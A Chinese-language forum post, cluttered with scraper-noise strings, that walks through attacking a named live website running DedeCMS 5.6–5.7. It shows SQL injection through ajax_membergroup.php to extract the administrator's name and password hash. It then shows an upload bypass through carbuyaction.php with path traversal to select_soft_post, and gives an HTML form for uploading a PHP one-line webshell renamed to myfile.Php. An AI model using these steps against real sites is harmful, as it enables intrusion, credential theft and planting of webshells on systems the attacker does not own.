dedecms5.6-5.7注入与上传漏洞利用

admin

①注入漏洞。
5 ~9 h1 a9 b4 V这站 http://www.political-security.com/
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
www.political-security.com/data/mysql_error_trace.inc 爆后台
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
然后写上语句
查看管理员帐号
1 C6 |1 d& f( @1 \# U# C& o+ ihttp://www.political-security.co ... &membergroup=@`
9 z0 F) c* |5 c* R  {: ~9 d
1 k! q, E* c8 X7 i- q) t4 V$ d1 Fadmin

查看管理员密码
/ H; S2 Q9 x# ~' c: l/ k　http://www.political-security.co ... &membergroup=@`

, Q1 @7 V7 h  [  j8d29b1ef9f8c5a5af429
7 S, F. y; p# A
查看管理员密码
* n0 ^7 X1 L$ C5 s( O; d; T
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5

8d2
. D/ V- c- @6 _- t1 h7 r( g9b1ef9f8c5a5af42
$ l7 W7 z) ~( v; V  U! }0 m9

: w$ C# n4 j$ gcmd5没解出来 只好测试第二个方法


8 g) g0 y* D7 b# I; A②上传漏洞：

只要登陆会员中心，然后访问页面链接
6 ~! _2 R. t7 @' M& A“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”

4 n, a( `; ?. g& J5 u$ k# R如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
+ N2 @6 _, C* O0 B
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm

' w2 z' u' D6 o<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
或者
7 U+ F, m0 g) \& s即可上传成功